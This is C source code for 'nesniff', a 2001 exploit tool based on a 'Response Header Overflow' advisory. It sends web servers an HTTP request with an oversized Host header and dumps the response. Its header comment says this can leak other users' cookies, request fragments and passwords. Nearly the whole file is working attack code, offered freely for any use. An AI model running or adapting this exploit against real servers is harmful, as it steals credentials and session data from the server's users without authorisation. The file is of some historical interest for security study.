/* 
    nesniff.c 
    
    idea from atstake's advisory "Response Header Overflow", www.atstake.com
    coded by Saarioinen, 12 June 2001.

    Can give you some useful info (cookies, parts of requests, passwords, etc...)

    $./nesniff some_directory www.server.com 2000 -v
    ...
    ...
    a lot of garbage
    ...
    ...
    Do what you what whith this code, i don't care.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <signal.h>

#define SIZE 2000

#define err(m) {        \
if (errno) perror(m);   \
else printf("%s\n", m); \
exit(-1);               \
}

unsigned long lookup_host(char *);
void usage(void);

int 
main(int argc, char **argv)
{
    char *dir;
    unsigned char tmp[1];
    char *buf=NULL;
    int s, nbytes, size=SIZE, offset=500, verbose=0;
    unsigned long addr;
    struct sockaddr_in sa;
            
    if (argc < 3 || argc > 5) 
	usage();
    
    dir = argv[1];
    
    if (argc > 3) 
	size = atoi(argv[3]);
    
    if (argc > 4 && !strcmp(argv[4], "-v")) 
	verbose++;
    
    addr = lookup_host(argv[2]);
    if (addr == -1) 
	err("coudlnt resolve hostname.");
    
    memset(&sa, 0x0, sizeof(struct sockaddr_in));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(80);
    sa.sin_addr.s_addr = addr;
    
    buf = (char *) malloc(size+offset);
    if (!buf) 
	err("couldnt allocate memmory.");
    
    memset(buf+offset, '*', size);
    buf[offset+size-1]='\0';
    size += offset;
    
    snprintf(buf, size, "GET /%s HTTP/1.0\nUser-Agent: Mozilla/4.0 (Windows 95)\nHost: %s\n\n", 
	     dir, buf+offset);

    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0) 
	err("socket()");
    
    if (connect(s, (struct sockaddr *) &sa, sizeof(struct sockaddr_in)) < 0)
	err("connect()");

    if (verbose) 
	printf("Sending query:\n%s\n", buf);

again:    

    nbytes = send(s, buf, size, 0);
    if (nbytes <= 0) { 
	if (errno==EINTR) { usleep(10000); 
		            goto again; 
			  }
	else err("send()");
    }
    
    while (recv(s, tmp, 1, 0) > 0) {
	unsigned char ch = tmp[0];
	
	if (isprint(ch) || isspace(ch)) putchar(ch);
	else printf("0x%02x", ch);
    }

    putchar('\n');
    free(buf);
    return 0;
}

unsigned long
lookup_host(char *host)
{        
    unsigned long addr;
    
    addr = inet_addr(host);
    if (addr == -1) {
        struct hostent *he = gethostbyname(host);
	if (he) 
	    addr = *(unsigned long *) he->h_addr;
    }
    return addr;
}

void
usage()
{
    printf("usage: ./nesniff directory hostname [size] [-v].\n");
    exit(1);
}